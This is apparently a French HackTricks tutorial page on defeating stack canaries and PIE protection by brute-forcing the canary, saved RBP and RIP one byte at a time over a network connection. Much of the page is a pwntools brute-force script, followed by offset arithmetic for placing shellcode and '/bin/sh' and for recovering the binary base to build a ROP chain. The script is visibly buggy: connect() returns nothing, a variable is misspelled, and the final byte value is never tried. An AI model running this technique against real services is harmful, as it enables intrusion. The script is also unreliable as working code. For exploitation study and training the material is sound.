BF Adresses dans la Pile
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Si vous êtes confronté à un binaire protégé par un canary et un PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.
note
Notez que checksec
pourrait ne pas détecter qu'un binaire est protégé par un canary si celui-ci a été compilé statiquement et qu'il n'est pas capable d'identifier la fonction.
Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie.
Adresses par Brute-Force
Pour contourner le PIE, vous devez fuiter une adresse. Et si le binaire ne fuit aucune adresse, le mieux à faire est de brute-forcer le RBP et le RIP enregistrés dans la pile dans la fonction vulnérable.
Par exemple, si un binaire est protégé à la fois par un canary et un PIE, vous pouvez commencer par brute-forcer le canary, puis les 8 octets suivants (x64) seront le RBP enregistré et les 8 octets suivants seront le RIP enregistré.
tip
On suppose que l'adresse de retour dans la pile appartient au code binaire principal, ce qui, si la vulnérabilité se situe dans le code binaire, sera généralement le cas.
Pour brute-forcer le RBP et le RIP du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme produit quelque chose ou ne plante tout simplement pas. La même fonction que celle fournie pour brute-forcer le canary peut être utilisée pour brute-forcer le RBP et le RIP :
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
La dernière chose dont vous avez besoin pour vaincre le PIE est de calculer des adresses utiles à partir des adresses divulguées : le RBP et le RIP.
À partir du RBP, vous pouvez calculer où vous écrivez votre shell dans la pile. Cela peut être très utile de savoir où vous allez écrire la chaîne "/bin/sh\x00" à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un point d'arrêt après avoir divulgué le RBP et vérifier où se trouve votre shellcode, puis, vous pouvez calculer la distance entre le shellcode et le RBP :
INI_SHELLCODE = RBP - 1152
À partir du RIP, vous pouvez calculer la base de l'adresse du binaire PIE, ce qui est nécessaire pour créer une chaîne ROP valide.
Pour calculer l'adresse de base, il suffit de faire objdump -d vunbinary
et de vérifier les dernières adresses désassemblées :
Dans cet exemple, vous pouvez voir que seulement 1 octet et demi est nécessaire pour localiser tout le code, donc, l'adresse de base dans cette situation sera le RIP divulgué mais se terminant par "000". Par exemple, si vous avez divulgué 0x562002970ecf
, l'adresse de base est 0x562002970000
.
elf.address = RIP - (RIP & 0xfff)
Améliorations
Selon certaines observations de ce post, il est possible que lors de la fuite des valeurs RBP et RIP, le serveur ne plante pas avec certaines valeurs qui ne sont pas les bonnes et que le script BF pense avoir obtenu les bonnes. Cela est dû au fait que certaines adresses ne provoqueront tout simplement pas de plantage même si elles ne sont pas exactement les bonnes.
Selon ce billet de blog, il est recommandé d'ajouter un court délai entre les requêtes au serveur.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.